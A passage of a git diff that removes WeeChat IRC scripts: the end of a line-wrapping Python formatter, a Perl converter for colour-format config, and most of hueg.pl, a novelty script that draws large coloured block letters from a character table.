- servername = weechat.buffer_get_string(buf, "localvar_server")
- iptr = weechat.infolist_get("irc_server", "", servername)
- weechat.infolist_next(iptr)
- long_lines = weechat.infolist_integer(iptr, "cap_long_lines")
- weechat.infolist_free(iptr)
-
- nicklen = weechat.info_get("irc_server_isupport_value", "%s,NICKLEN" %
- servername)
- if not nicklen: nicklen = 9
-
- l = ((512 if long_lines else 0) + 409 - len(fmt) - int(nicklen))
- o = []
- for line in input.replace("\r", "\n").split("\n"):
- if not line: continue
- for i in xrange(0, len(line), l):
- o.append(fmt.replace("%s", line[i:i+l].rstrip()))
-
- return output + "\n".join(o)
diff --git a/irc/weechat/coloconv.pl b/irc/weechat/coloconv.pl
@@ -1,45 +0,0 @@
-#!/usr/bin/perl
-
-=pod
-
-Reads plugins.conf from stdin, writes new plugins.conf to stdout, and
-writes commands to restore the rest of the config options to stderr
-
-Suggested operation:
-cd .weechat
-./coloconv.pl < plugins.conf > plugins.conf.new 2> commands
-diff plugins.conf plugins.conf.new # to make sure nothing got clobbered
-
-Then in WeeChat:
-/exec -o .weechat/commands
-
-=cut
-
-my %profs;
-my $desc = 0;
-
-while (<>) {
- $desc and print, next;
- $_ !~ /^python\.embellish\./ and print, next;
- s/^python\.embellish/python.colo/;
- $_ !~ /^python\.colo\..*(?:pre|suf)/ and print, next;
- $_ eq '[desc]' and ($desc = 1), print, next;
-
- my ($prof, $k, $v) = /^python\.colo\.(.*)(pre|suf) = "(.*)"$/;
- $v =~ s/\x02/%b/g;
- $v =~ s/\x03/%c/g;
- $v =~ s/\x0f/%o/g;
- $v =~ s/\x16/%r/g;
- $v =~ s/\x1f/%u/g;
-
- if ($k eq 'pre') {
- $profs{$prof} = "%0$v%o%0 %s%o%0 ";
- } elsif ($k eq 'suf') {
- $profs{$prof} .= $v;
- }
-}
-
-for my $prof (keys %profs) {
- print STDERR "/reload\n";
- print STDERR "/set plugins.var.python.colo.${prof}fmt $profs{$prof}\n";
-}
diff --git a/irc/weechat/hueg.pl b/irc/weechat/hueg.pl
@@ -1,1255 +0,0 @@
-#!/usr/bin/perl
-
-
-######
-# hueg.pl PRO MODE
-# modded by ma0 and others
-# respekts 2 jakk and others
-######
-
-$maxchars = 10; #num of chars b4 split
-my $reverse = 0;
-my $flip = 0;
-my $mirror = 0;
-my $scale = 1;
-
-my $SCRIPT_NAME = 'hueg';
-my $SCRIPT_AUTHOR = 'LIFELIKE <i@wnt2die.com>';
-my $SCRIPT_VERSION = '1.1';
-my $SCRIPT_LICENCE = 'GPL3';
-my $SCRIPT_DESC = 'make text hueg LOL';
-
-if (weechat::register($SCRIPT_NAME, $SCRIPT_AUTHOR, $SCRIPT_VERSION,
- $SCRIPT_LICENCE, $SCRIPT_DESC, '', '')) {
- weechat::hook_command('hueg', '', '<string> [options]',
- " -rep <num> num of times to scroll msg\n".
- " -re reverses text\n".
- " -flip flips text\n".
- " -mir mirrors your text [NOT WORKIN LOL]\n".
- " -scale <num> scales shit\n".
- " num,num,num fg, shadow, bg colors (bg optional)",
- '-rep|-re|-flip|-mir|-scale|%*', 'hueg', '');
-}
-
-sub hueg {
- (undef, $buffer, $data) = @_;
- $in = $data;
-
- if ($in =~ /-rep (\d+)/i) {
- $rep = $1;
- $in =~ s/-rep \d+//i;
- } else {
- $rep = 1;
- }
-
- if($in =~ /-scale (\d+)/i) {
- $scale = $1;
- $in =~ s/-scale \d+//i;
- } else {
- $scale = 1;
- }
-
- if($in =~ /-re/i) {
- $reverse = 1;
- $in =~ s/-re//i;
- } else {
- $reverse = 0;
- }
-
- if($in =~ /-flip/i){
- $flip = 1;
- $in =~ s/-flip//i;
- } else {
- $flip = 0;
- }
-
- if($in =~ /-mir/i) {
- $mirror = 1;
- $in =~ s/-mir//i;
- } else {
- $mirror = 0;
- }
-
- $in =~ s/\s+$//;
-
- if ($in eq '') {
- weechat::print($buffer, weechat::prefix('error').
- "Invalid syntax; see /help hueg");
- return weechat::WEECHAT_RC_ERROR;
- } else {
- until ($rep == 0) {
- colors();
- parse();
- process();
- select(undef,undef,undef,.1);
- $rep--;
- }
- return weechat::WEECHAT_RC_OK;
- }
-}
-
-sub colors {
- if ($data =~ /(\d+),(\d+),(\d+)/) {
- $c2 = "\cC$1,$1"; #fg
- $c1 = "\cC$2,$2"; #sh
- $c3 = "\cC$3,$3"; #bg
- $in =~ s/\d+,\d+,\d+//;
- } elsif ($data =~ /(\d+),(\d+)/) {
- $c2 = "\cC$1,$1"; #fg
- $c1 = "\cC$2,$2"; #sh
- $c3 = "\cO"; #bg (trans)
- $in =~ s/\d+,\d+//;
- } else {
- $r1 = $r2 = 0;
- until ($r1 > 1) { $r1 = int rand(15); }
- until ($r2 > 1 && $r2 != $r1) { $r2 = int rand(15); }
- $c2 = "\cC$r1,$r1"; #fg (rand)
- $c1 = "\cC$r2,$r2"; #sh (rand)
- $c3 = "\cO"; #bg (trans)
- }
- db1();
-}
-
-sub parse {
- $in =~ s/(\S{$maxchars})/$1 /g;
- undef @s0;
- @s0 = split(' ',$in);
- undef @s1;
- $s1n = 0;
- for $n (@s0) {
- $nlen = length($n);
- $slen = length($s1[$s1n] // '') + $nlen;
- if ($slen <= $maxchars) {
- $s1[$s1n] .= "$n ";
- } else {
- $s1n++;
- $s1[$s1n] .= "$n ";
- }
- }
-}
-
-sub process {
- for $n (@s1) { #each line
- if ($reverse) {
- $n = reverse $n;
- }
-
- $n =~ s/\s$//;
- $n =~ s/^\s//;
- undef @s2;
- @s2 = split('',$n);
- my $cur; # current string
- my $tmp;
-
- for $f (0..8*$scale) {
- for $l (@s2) { #each letter
- $all .= "$c3 \cO";
-
- if($flip) { $cur = $db{$l}[(9-$f)/$scale] // $db{'?'}[(9-$f)/$scale]; } #line of letter
- else { $cur = $db{$l}[$f/$scale] // $db{'?'}[$f/$scale]; }
-
- $whitespace = " " x $scale;
- $cur =~ s/ /$whitespace/g;
- $whitespace = "#" x $scale;
- $cur =~ s/#/$whitespace/g;
- $whitespace = "." x $scale;
- $cur =~ s/\./$whitespace/g;
- $all .= $cur;
- }
-
- $all .= "$c3 ";
- if($mirror) { $all = reverse $all; }
- weechat::command($buffer, "/msg * $all");
- $all = '';
- }
-
- }
-}
-
-#------------------#
-# character db #
-# lol #
-#------------------#
-
-sub db1 {
-%db = (
-" " => [
-"$c3 ",
-"$c3 ",
-"$c3 ",
-"$c3 ",
-"$c3 ",
-"$c3 ",
-"$c3 ",
-"$c3 ",
-"$c3 ",
-],
-"\cC" => [
-"$c3 ",
-"$c1.$c2##$c3 $c1.$c2#######$c3",
-"$c1.$c2##$c3 $c1.$c2##$c3 ",
-"$c1.$c2##$c3 $c1.$c2##$c3 ",
-"$c1.$c2############$c3",
-"$c3 $c1.$c2##$c3 $c1.$c2##$c3",
-"$c3 $c1.$c2##$c3 $c1.$c2##$c3",
-"$c1.$c2#######$c3 $c1.$c2##$c3",
-"$c3 ",
-],
-"\cB" => [
-"$c3 ",
-"$c1.$c2##$c3 $c1.$c2#######$c3",
-"$c1.$c2##$c3 $c1.$c2##$c3 ",
-"$c1.$c2##$c3 $c1.$c2##$c3 ",
-"$c1.$c2############$c3",
-"$c3 $c1.$c2##$c3 $c1.$c2##$c3",
-"$c3 $c1.$c2##$c3 $c1.$c2##$c3",
-"$c1.$c2#######$c3 $c1.$c2##$c3",
-"$c3 ",
-],
-"\cO" => [
-"$c3 ",
-"$c1.$c2##$c3 $c1.$c2#######$c3",
-"$c1.$c2##$c3 $c1.$c2##$c3 ",
-"$c1.$c2##$c3 $c1.$c2##$c3 ",
-"$c1.$c2############$c3",
-"$c3 $c1.$c2##$c3 $c1.$c2##$c3",
-"$c3 $c1.$c2##$c3 $c1.$c2##$c3",
-"$c1.$c2#######$c3 $c1.$c2##$c3",
-"$c3 ",
-],
-"0" => [
-"$c3 ",
-"$c3 $c1.$c2######$c3 ",
-"$c1.$c2##$c3 $c1.$c2##$c3",
-"$c1.$c2##$c3 $c1.$c2##$c3",
-"$c1.$c2##$c3 $c1.$c2##$c3",
-"$c1.$c2##$c3 $c1.$c2##$c3",
-"$c1.$c2##$c3 $c1.$c2##$c3",
-"$c3 $c1.$c2######$c3 ",
-"$c3 ",
-],
-"1" => [
-"$c3 ",
-"$c3 $c1.$c2##$c3 ",
-"$c3 $c1.$c2###$c3 ",
-"$c1.$c2####$c3 ",
-"$c3 $c1.$c2##$c3 ",
-"$c3 $c1.$c2##$c3 ",
-"$c3 $c1.$c2##$c3 ",
-"$c1.$c2######$c3",
-"$c3 ",
-],
-"2" => [
-"$c3 ",
-"$c3 $c1.$c2#####$c3 ",
-"$c1.$c2##$c3 $c1.$c2##$c3",
-"$c3 $c1.$c2##$c3 ",
-"$c3 $c1.$c2##$c3 ",
-"$c3 $c1.$c2##$c3 ",
-"$c3 $c1.$c2##$c3 ",
-"$c1.$c2#######$c3",
-"$c3 ",
-],
-"3" => [
-"$c3 ",
-"$c3 $c1.$c2#####$c3 ",
-"$c1.$c2##$c3 $c1.$c2##$c3",
-"$c3 $c1.$c2##$c3",
-"$c3 $c1.$c2###$c3 ",
-"$c3 $c1.$c2##$c3",
-"$c1.$c2##$c3 $c1.$c2##$c3",
-"$c3 $c1.$c2#####$c3 ",
-"$c3 ",
-],
-"4" => [
-"$c3 ",
-"$c3 $c1.$c2##$c3 ",
-"$c3 $c1.$c2###$c3 ",
-"$c3 $c1.$c2#$c1.$c2##$c3 ",
-"$c3 $c1.$c2#$c3 $c1.$c2##$c3 ",
-"$c1.$c2#######$c3",
-"$c3 $c1.$c2##$c3 ",
-"$c3 $c1.$c2##$c3 ",
-"$c3 ",
-],
-"5" => [
-"$c3 ",
-"$c1.$c2######$c3 ",
-"$c1.$c2##$c3 ",
-"$c1.$c2##$c3 ",
-"$c1.$c2######$c3 ",
-"$c3 $c1.$c2##$c3",
-"$c1.$c2##$c3 $c1.$c2##$c3",
-"$c3 $c1.$c2#####$c3 ",
-"$c3 ",
-],
-"6" => [
-"$c3 ",
-"$c3 $c1.$c2##$c3 ",
-"$c3 $c1.$c2##$c3 ",
-"$c3 $c1.$c2##$c3 ",
-"$c1.$c2######$c3 ",
-"$c1.$c2##$c3 $c1.$c2##$c3",
-"$c1.$c2##$c3 $c1.$c2##$c3",
-"$c3 $c1.$c2#####$c3 ",
-"$c3 ",
-],
-"7" => [
-"$c3 ",
-"$c1.$c2########$c3",
-"$c3 $c1.$c2##$c3",
-"$c3 $c1.$c2##$c3 ",
-"$c3 $c1.$c2##$c3 ",
-"$c3 $c1.$c2##$c3 ",
-"$c3 $c1.$c2##$c3 ",
-"$c3 $c1.$c2##$c3 ",
-"$c3 ",
-],
-"8" => [
-"$c3 ",
-"$c3 $c1.$c2######$c3 ",
-"$c1.$c2##$c3 $c1.$c2##$c3",
-"$c1.$c2##$c3 $c1.$c2##$c3",
-"$c3 $c1.$c2######$c3 ",
-"$c1.$c2##$c3 $c1.$c2##$c3",
-"$c1.$c2##$c3 $c1.$c2##$c3",
-"$c3 $c1.$c2######$c3 ",
-"$c3 ",
-],
-"9" => [
-"$c3 ",
-"$c3 $c1.$c2#####$c3 ",
-"$c1.$c2##$c3 $c1.$c2##$c3",
-"$c1.$c2##$c3 $c1.$c2##$c3",
-"$c3 $c1.$c2######$c3",
-"$c3 $c1.$c2##$c3 ",
-"$c3 $c1.$c2##$c3 ",
-"$c3 $c1.$c2##$c3 ",
-"$c3 ",
-],
-A => [
-"$c3 ",
-"$c3 $c1.$c2###$c3 ",
-"$c3 $c1.$c2##$c1.$c2##$c3 ",
-"$c1.$c2##$c3 $c1.$c2##$c3",
-"$c1.$c2#######$c3",
-"$c1.$c2##$c3 $c1.$c2##$c3",
-"$c1.$c2##$c3 $c1.$c2##$c3",
-"$c1.$c2##$c3 $c1.$c2##$c3",
-"$c3 ",
-],
-a => [
-"$c3 ",
-"$c3 ",
-"$c3 ",
-"$c3 $c1.$c2#####$c3 ",
-"$c3 $c1.$c2##$c3 ",
-"$c3 $c1.$c2######$c3 ",
-"$c1.$c2##$c3 $c1.$c2##$c3 ",
-"$c3 $c1.$c2#######$c3",
-"$c3 ",
-],
-B => [
-"$c3 ",
-"$c1.$c2#######$c3 ",
-"$c1.$c2##$c3 $c1.$c2##$c3",
-"$c1.$c2##$c3 $c1.$c2##$c3",
-"$c1.$c2#######$c3 ",
-"$c1.$c2##$c3 $c1.$c2##$c3",
-"$c1.$c2##$c3 $c1.$c2##$c3",
-"$c1.$c2#######$c3 ",
-"$c3 ",
-],
-b => [
-"$c3 ",
-"$c1.$c2##$c3 ",
-"$c1.$c2##$c3 ",
-"$c1.$c2######$c3 ",
-"$c1.$c2##$c3 $c1.$c2##$c3 ",
-"$c1.$c2##$c3 $c1.$c2##$c3",
-"$c1.$c2##$c3 $c1.$c2##$c3 ",
-"$c1.$c2######$c3 ",
-"$c3 ",
-],
-C => [
-"$c3 ",
-"$c3 $c1.$c2######$c3 ",
-"$c1.$c2##$c3 $c1.$c2##$c3",
-"$c1.$c2##$c3 ",
-"$c1.$c2##$c3 ",
-"$c1.$c2##$c3 ",
-"$c1.$c2##$c3 $c1.$c2##$c3",
-"$c3 $c1.$c2######$c3 ",
-"$c3 ",
-],
-c => [
-"$c3 ",
-"$c3 ",
-"$c3 ",
-"$c3 $c1.$c2#####$c3",
-"$c3 $c1.$c2##$c3 ",
-"$c1.$c2##$c3 ",
-"$c3 $c1.$c2##$c3 ",
-"$c3 $c1.$c2#####$c3",
-"$c3 ",
-],
-D => [
-"$c3 ",
-"$c1.$c2#######$c3 ",
-"$c1.$c2##$c3 $c1.$c2##$c3 ",
-"$c1.$c2##$c3 $c1.$c2##$c3",
-"$c1.$c2##$c3 $c1.$c2##$c3",
-"$c1.$c2##$c3 $c1.$c2##$c3",
-"$c1.$c2##$c3 $c1.$c2##$c3 ",
-"$c1.$c2#######$c3 ",
-"$c3 ",
-],
-d => [
-"$c3 ",
-"$c3 $c1.$c2##$c3",
-"$c3 $c1.$c2##$c3",
-"$c3 $c1.$c2######$c3",
-"$c3 $c1.$c2##$c3 $c1.$c2##$c3",
-"$c1.$c2##$c3 $c1.$c2##$c3",
-"$c3 $c1.$c2##$c3 $c1.$c2##$c3",
-"$c3 $c1.$c2######$c3",
-"$c3 ",
-],
-E => [
-"$c3 ",
-"$c1.$c2#######$c3",
-"$c1.$c2##$c3 ",
-"$c1.$c2##$c3 ",
-"$c1.$c2######$c3 ",
-"$c1.$c2##$c3 ",
-"$c1.$c2##$c3 ",
-"$c1.$c2#######$c3",
-"$c3 ",
-],
-e => [
-"$c3 ",
-"$c3 ",
-"$c3 ",
-"$c3 $c1.$c2######$c3 ",
-"$c1.$c2##$c3 $c1.$c2##",
-"$c1.$c2#######$c3 ",
-"$c1.$c2##$c3 ",
-"$c3 $c1.$c2######$c3 ",
-"$c3 ",
-],
-F => [
-"$c3 ",
-"$c1.$c2#######",
-"$c1.$c2##$c3 ",
-"$c1.$c2##$c3 ",
-"$c1.$c2######$c3 ",
-"$c1.$c2##$c3 ",
-"$c1.$c2##$c3 ",
-"$c1.$c2##$c3 ",
-"$c3 ",
-],
-f => [
-"$c3 ",
-"$c3 ",
-"$c3 $c1.$c2###",
-"$c3 $c1.$c2##$c3 ",
-"$c1.$c2#####",
-"$c3 $c1.$c2##$c3 ",
-"$c3 $c1.$c2##$c3 ",
-"$c3 $c1.$c2##$c3 ",
-"$c3 ",
-],
-G => [
-"$c3 ",
-"$c3 $c1.$c2######$c3 ",
-"$c3 $c1.$c2##$c3 $c1.$c2##$c3",
-"$c1.$c2##$c3 ",
-"$c1.$c2##$c3 $c1.$c2####$c3",
-"$c1.$c2##$c3 $c1.$c2##$c3",
-"$c3 $c1.$c2##$c3 $c1.$c2##$c3",
-"$c3 $c1.$c2######$c3 ",
-"$c3 ",
-],
-g => [
-"$c3 ",
-"$c3 ",
-"$c3 ",
-"$c3 $c1.$c2######$c3 ",
-"$c1.$c2##$c3 $c1.$c2##$c3",
-"$c1.$c2##$c3 $c1.$c2##$c3",
-"$c3 $c1.$c2#######$c3",
-"$c3 $c1.$c2##$c3",
-"$c3 $c1.$c2######$c3 ",
-],
-H => [
-"$c3 ",
-"$c1.$c2##$c3 $c1.$c2##$c3",
-"$c1.$c2##$c3 $c1.$c2##$c3",
-"$c1.$c2##$c3 $c1.$c2##$c3",
-"$c1.$c2########$c3",
-"$c1.$c2##$c3 $c1.$c2##$c3",
-"$c1.$c2##$c3 $c1.$c2##$c3",
-"$c1.$c2##$c3 $c1.$c2##$c3",
-"$c3 ",
-],
-h => [
-"$c3 ",
-"$c1.$c2##$c3 ",
-"$c1.$c2##$c3 ",
-"$c1.$c2#######$c3 ",
-"$c1.$c2##$c3 $c1.$c2##$c3",
-"$c1.$c2##$c3 $c1.$c2##$c3",
-"$c1.$c2##$c3 $c1.$c2##$c3",
-"$c1.$c2##$c3 $c1.$c2##$c3",
-"$c3 ",
-],
-I => [
-"$c3 ",
-"$c1.$c2######$c3",
-"$c3 $c1.$c2##$c3 ",
-"$c3 $c1.$c2##$c3 ",
-"$c3 $c1.$c2##$c3 ",
-"$c3 $c1.$c2##$c3 ",
-"$c3 $c1.$c2##$c3 ",
-"$c1.$c2######$c3",
-"$c3 ",
-],
-i => [
-"$c3 ",
-"$c3 $c1.$c2##$c3 ",
-"$c3 ",
-"$c1.$c2###$c3 ",
-"$c3 $c1.$c2##$c3 ",
-"$c3 $c1.$c2##$c3 ",
-"$c3 $c1.$c2##$c3 ",
-"$c1.$c2####",
-"$c3 ",
-],
-J => [
-"$c3 ",
-"$c3 $c1.$c2######",
-"$c3 $c1.$c2##$c3 ",
-"$c3 $c1.$c2##$c3 ",
-"$c3 $c1.$c2##$c3 ",
-"$c3 $c1.$c2##$c3 ",
-"$c1.$c2##$c3 $c1.$c2##$c3 ",
-"$c3 $c1.$c2####$c3 ",
-"$c3 ",
-],
-j => [
-"$c3 ",
-"$c3 $c1.$c2##",
-"$c3 ",
-"$c3 $c1.$c2###",
-"$c3 $c1.$c2##",
-"$c3 $c1.$c2##",
-"$c3 $c1.$c2##",
-"$c1.$c2##$c3 $c1.$c2##",
-"$c3 $c1.$c2####$c3 ",
-],
-K => [
-"$c3 ",
-"$c1.$c2##$c3 $c1.$c2##$c3",
-"$c1.$c2##$c3 $c1.$c2##$c3 ",
-"$c1.$c2##$c1.$c2##$c3 ",
-"$c1.$c2####$c3 ",
-"$c1.$c2##$c1.$c2##$c3 ",
-"$c1.$c2##$c3 $c1.$c2##$c3 ",
-"$c1.$c2##$c3 $c1.$c2##$c3",
-"$c3 ",
-],
-k => [
-"$c3 ",
-"$c1.$c2##$c3 ",
-"$c1.$c2##$c3 ",
-"$c1.$c2##$c3 $c1.$c2##",
-"$c1.$c2##$c3 $c1.$c2##$c3 ",
-"$c1.$c2#####$c3 ",
-"$c1.$c2##$c3 $c1.$c2##$c3 ",
-"$c1.$c2##$c3 $c1.$c2##",
-"$c3 ",
-],
-L => [
-"$c3 ",
-"$c1.$c2##$c3 ",
-"$c1.$c2##$c3 ",
-"$c1.$c2##$c3 ",
-"$c1.$c2##$c3 ",
-"$c1.$c2##$c3 ",
-"$c1.$c2##$c3 ",
-"$c1.$c2#######$c3",
-"$c3 ",
-],
-l => [
-"$c3 ",
-"$c1.$c2###$c3 ",
-"$c3 $c1.$c2##$c3 ",
-"$c3 $c1.$c2##$c3 ",
-"$c3 $c1.$c2##$c3 ",
-"$c3 $c1.$c2##$c3 ",
-"$c3 $c1.$c2##$c3 ",
-"$c1.$c2####",
-"$c3 ",
-],
-M => [
-"$c3 ",
-"$c1.$c2##$c3 $c1.$c2##$c3",
-"$c1.$c2###$c3 $c1.$c2###$c3",
-"$c1.$c2####$c3 $c1.$c2####$c3",
-"$c1.$c2##$c1.$c2##$c1.$c2##$c1.$c2##$c3",
-"$c1.$c2##$c3 $c1.$c2###$c3 $c1.$c2##$c3",
-"$c1.$c2##$c3 $c1.$c2#$c3 $c1.$c2##$c3",
-"$c1.$c2##$c3 $c1.$c2##$c3",
-"$c3 ",
-],
-m => [
-"$c3 ",
-"$c3 ",
-"$c3 ",
-"$c3 $c1.$c2##$c3 $c1.$c2##$c3 ",
-"$c1.$c2####$c1.$c2####$c3",
-"$c1.$c2##$c1.$c2###$c1.$c2##$c3",
-"$c1.$c2##$c3 $c1.$c2#$c3 $c1.$c2##$c3",
-"$c1.$c2##$c3 $c1.$c2##$c3",
-"$c3 ",
-],
-N => [
-"$c3 ",
-"$c1.$c2###$c3 $c1.$c2##",
-"$c1.$c2####$c3 $c1.$c2##",
-"$c1.$c2##$c1.$c2##$c3 $c1.$c2##",
-"$c1.$c2##$c3 $c1.$c2##$c3 $c1.$c2##",
-"$c1.$c2##$c3 $c1.$c2##$c1.$c2##",
-"$c1.$c2##$c3 $c1.$c2####",
-"$c1.$c2##$c3 $c1.$c2###",
-"$c3 ",
-],
-n => [
-"$c3 ",
-"$c3 ",
-"$c3 ",
-"$c3 $c1.$c2######$c3 ",
-"$c1.$c2##$c3 $c1.$c2##$c3",
-"$c1.$c2##$c3 $c1.$c2##$c3",
-"$c1.$c2##$c3 $c1.$c2##$c3",
-"$c1.$c2##$c3 $c1.$c2##$c3",
-"$c3 ",
-],
-O => [
-"$c3 ",
-"$c3 $c1.$c2######$c3 ",
-"$c3 $c1.$c2##$c3 $c1.$c2##$c3 ",
-"$c1.$c2##$c3 $c1.$c2##$c3",
-"$c1.$c2##$c3 $c1.$c2##$c3",
-"$c1.$c2##$c3 $c1.$c2##$c3",
-"$c3 $c1.$c2##$c3 $c1.$c2##$c3 ",
-"$c3 $c1.$c2######$c3 ",
-"$c3 ",
-],
-o => [
-"$c3 ",
-"$c3 ",
-"$c3 ",
-"$c3 $c1.$c2######$c3 ",
-"$c1.$c2##$c3 $c1.$c2##$c3",
-"$c1.$c2##$c3 $c1.$c2##$c3",
-"$c1.$c2##$c3 $c1.$c2##$c3",
-"$c3 $c1.$c2######$c3 ",
-"$c3 ",
-],
-P => [
-"$c3 ",
-"$c1.$c2#######$c3 ",
-"$c1.$c2##$c3 $c1.$c2##$c3",
-"$c1.$c2##$c3 $c1.$c2##$c3",
-"$c1.$c2#######$c3 ",
-"$c1.$c2##$c3 ",
-"$c1.$c2##$c3 ",
-"$c1.$c2##$c3 ",
-"$c3 ",
-],
-p => [
-"$c3 ",
-"$c3 ",
-"$c3 ",
-"$c3 $c1.$c2######$c3 ",
-"$c1.$c2##$c3 $c1.$c2##$c3",
-"$c1.$c2##$c3 $c1.$c2##$c3",
-"$c1.$c2#######$c3 ",
-"$c1.$c2##$c3 ",
-"$c1.$c2##$c3 ",
-],
-Q => [
-"$c3 ",
-"$c3 $c1.$c2######$c3 ",
-"$c3 $c1.$c2##$c3 $c1.$c2##$c3 ",
-"$c1.$c2##$c3 $c1.$c2##$c3",
-"$c1.$c2##$c3 $c1.$c2##$c3",
-"$c1.$c2##$c3 $c1.$c2##$c1.$c2##$c3",
-"$c3 $c1.$c2##$c3 $c1.$c2###$c3 ",
-"$c3 $c1.$c2######$c3 ",
-"$c3 $c1.$c2##$c3 ",
-],
-q => [
-"$c3 ",
-"$c3 ",
-"$c3 ",
-"$c3 $c1.$c2######$c3 ",
-"$c1.$c2##$c3 $c1.$c2##$c3",
-"$c1.$c2##$c3 $c1.$c2##$c3",
-"$c3 $c1.$c2#######$c3",
-"$c3 $c1.$c2##$c3",
-"$c3 $c1.$c2##$c3",
-],
-R => [
-"$c3 ",
-"$c1.$c2#######$c3 ",
-"$c1.$c2##$c3 $c1.$c2##$c3 ",
-"$c1.$c2##$c3 $c1.$c2##$c3 ",
-"$c1.$c2#######$c3 ",
-"$c1.$c2##$c3 $c1.$c2##$c3 ",
-"$c1.$c2##$c3 $c1.$c2##$c3 ",
-"$c1.$c2##$c3 $c1.$c2##",
-"$c3 ",
-],
-r => [
-"$c3 ",
-"$c3 ",
-"$c3 ",
-"$c3 $c1.$c2#####$c3 ",
-"$c1.$c2##$c3 $c1.$c2##$c3",
-"$c1.$c2##$c3 ",
-"$c1.$c2##$c3 ",
-"$c1.$c2##$c3 ",
-"$c3 ",
-],
-S => [
-"$c3 ",
-"$c3 $c1.$c2#####$c3 ",
-"$c1.$c2##$c3 $c1.$c2##$c3",
-"$c1.$c2##$c3 ",
-"$c3 $c1.$c2#####$c3 ",
-"$c3 $c1.$c2##$c3",
-"$c1.$c2##$c3 $c1.$c2##$c3",
-"$c3 $c1.$c2#####$c3 ",
-"$c3 ",
-],
-s => [
-"$c3 ",
-"$c3 ",
-"$c3 ",
-"$c3 $c1.$c2#####$c3",
-"$c1.$c2##$c3 ",
-"$c3 $c1.$c2####$c3 ",
-"$c3 $c1.$c2##$c3",
-"$c1.$c2#####$c3 ",
-"$c3 ",
-],
-T => [
-"$c3 ",
-"$c1.$c2########$c3",
-"$c3 $c1.$c2##$c3 ",
-"$c3 $c1.$c2##$c3 ",
-"$c3 $c1.$c2##$c3 ",
-"$c3 $c1.$c2##$c3 ",
-"$c3 $c1.$c2##$c3 ",
-"$c3 $c1.$c2##$c3 ",
-"$c3 ",
-],
-t => [
-"$c3 ",
-"$c3 ",
-"$c3 $c1.$c2##$c3 ",
-"$c1.$c2#####$c3 ",
-"$c3 $c1.$c2##$c3 ",
-"$c3 $c1.$c2##$c3 ",
-"$c3 $c1.$c2##$c1.$c2##",
-"$c3 $c1.$c2###$c3 ",
-"$c3 ",
-],
-U => [
-"$c3 ",
-"$c1.$c2##$c3 $c1.$c2##$c3",
-"$c1.$c2##$c3 $c1.$c2##$c3",
-"$c1.$c2##$c3 $c1.$c2##$c3",
-"$c1.$c2##$c3 $c1.$c2##$c3",
-"$c1.$c2##$c3 $c1.$c2##$c3",
-"$c3 $c1.$c2##$c3 $c1.$c2##$c3 ",
-"$c3 $c1.$c2######$c3 ",
-"$c3 ",
-],
-u => [
-"$c3 ",
-"$c3 ",
-"$c3 ",
-"$c1.$c2##$c3 $c1.$c2##$c3",
-"$c1.$c2##$c3 $c1.$c2##$c3",
-"$c1.$c2##$c3 $c1.$c2##$c3",
-"$c1.$c2##$c3 $c1.$c2##$c3",
-"$c3 $c1.$c2######$c3 ",
-"$c3 ",
-],
-V => [
-"$c3 ",
-"$c1.$c2#$c3 $c1.$c2#",
-"$c1.$c2##$c3 $c1.$c2##",
-"$c3 $c1.$c2##$c3 $c1.$c2##$c3 ",
-"$c3 $c1.$c2##$c3 $c1.$c2##$c3 ",
-"$c3 $c1.$c2##$c3 $c1.$c2##$c3 ",
-"$c3 $c1.$c2####$c3 ",
-"$c3 $c1.$c2##$c3 ",
-"$c3 ",
-],
-v => [
-"$c3 ",
-"$c3 ",
-"$c3 ",
-"$c1.$c2##$c3 $c1.$c2##",
-"$c3 $c1.$c2##$c3 $c1.$c2##$c3 ",
-"$c3 $c1.$c2##$c3 $c1.$c2##$c3 ",
-"$c3 $c1.$c2##$c1.$c2##$c3 ",
-"$c3 $c1.$c2###$c3 ",
-"$c3 ",
-],
-W => [
-"$c3 ",
-"$c1.$c2##$c3 $c1.$c2##",
-"$c1.$c2##$c3 $c1.$c2##",
-"$c1.$c2##$c3 $c1.$c2##",
-"$c1.$c2##$c3 $c1.$c2##$c3 $c1.$c2##",
-"$c1.$c2##$c1.$c2####$c1.$c2##",
-"$c1.$c2####$c3 $c1.$c2####",
-"$c3 $c1.$c2##$c3 $c1.$c2##$c3 ",
-"$c3 ",
-],
-w => [
-"$c3 ",
-"$c3 ",
-"$c3 ",
-"$c1.$c2##$c3 $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.$c2##$c3 ",
-"$c3 $c1.$c2##$c3 ",
-"$c3 $c1.$c2##$c3 ",
-"$c1.$c2########$c3",
-"$c3 ",
-],
-z => [
-"$c3 ",
-"$c3 ",
-"$c3 ",
-"$c1.$c2########$c3 ",
-"$c3 $c1.$c2##$c3 ",
-"$c3 $c1.$c2##$c3 ",
-"$c3 $c1.$c2##$c3 ",
-"$c1.$c2########$c3 ",
-"$c3 ",
-],
-'~' => [
-"$c3 ",
-"$c3 ",
-"$c3 ",
-"$c3 $c1.$c2####$c3 $c1.$c2##$c3",
-"$c3 $c1.$c2##$c3 $c1.$c2##$c3 $c1.$c2##$c3 ",
-"$c1.$c2##$c3 $c1.$c2####$c3 ",
-"$c3 ",
-"$c3 ",
-"$c3 ",
-],
-'`' => [
-"$c3 ",
-"$c1.$c2##$c3 ",
-"$c3 $c1.$c2##",
-"$c3 ",
-"$c3 ",
-"$c3 ",
-"$c3 ",
-"$c3 ",
-"$c3 ",
-],
-'!' => [
-"$c3 ",
-"$c3 $c1.$c2##$c3",
-"$c3 $c1.$c2##$c3 ",
-"$c3 $c1.$c2##$c3 ",
-"$c3 $c1.$c2##$c3 ",
-"$c3 $c1.$c2##$c3 ",
-"$c3 ",
-"$c1.$c2##$c3 ",
-"$c3 ",
-],
-'@' => [
-"$c3 ",
-"$c3 $c1.$c2#######$c3 ",
-"$c3 $c1.$c2##$c3 $c1.$c2##$c3 ",
-"$c1.$c2##$c3 $c1.$c2##$c3 $c1.$c2##$c3",
-"$c1.$c2##$c3 $c1.$c2##$c3 $c1.$c2##$c3",
-"$c1.$c2##$c3 $c1.$c2#####$c3 ",
-"$c3 $c1.$c2##$c3 ",
-"$c3 $c1.$c2#######$c3 ",
-"$c3 ",
-],
-'#' => [
-"$c3 ",
-"$c3 $c1.$c2##$c3 $c1.$c2##$c3 ",
-"$c3 $c1.$c2##$c3 $c1.$c2##$c3 ",
-"$c1.$c2##########",
-"$c3 $c1.$c2##$c3 $c1.$c2##$c3 ",
-"$c1.$c2##########",
-"$c3 $c1.$c2##$c3 $c1.$c2##$c3 ",
-"$c3 $c1.$c2##$c3 $c1.$c2##$c3 ",
-"$c3 ",
-],
-'$' => [
-"$c3 $c1.$c2#$c3 ",
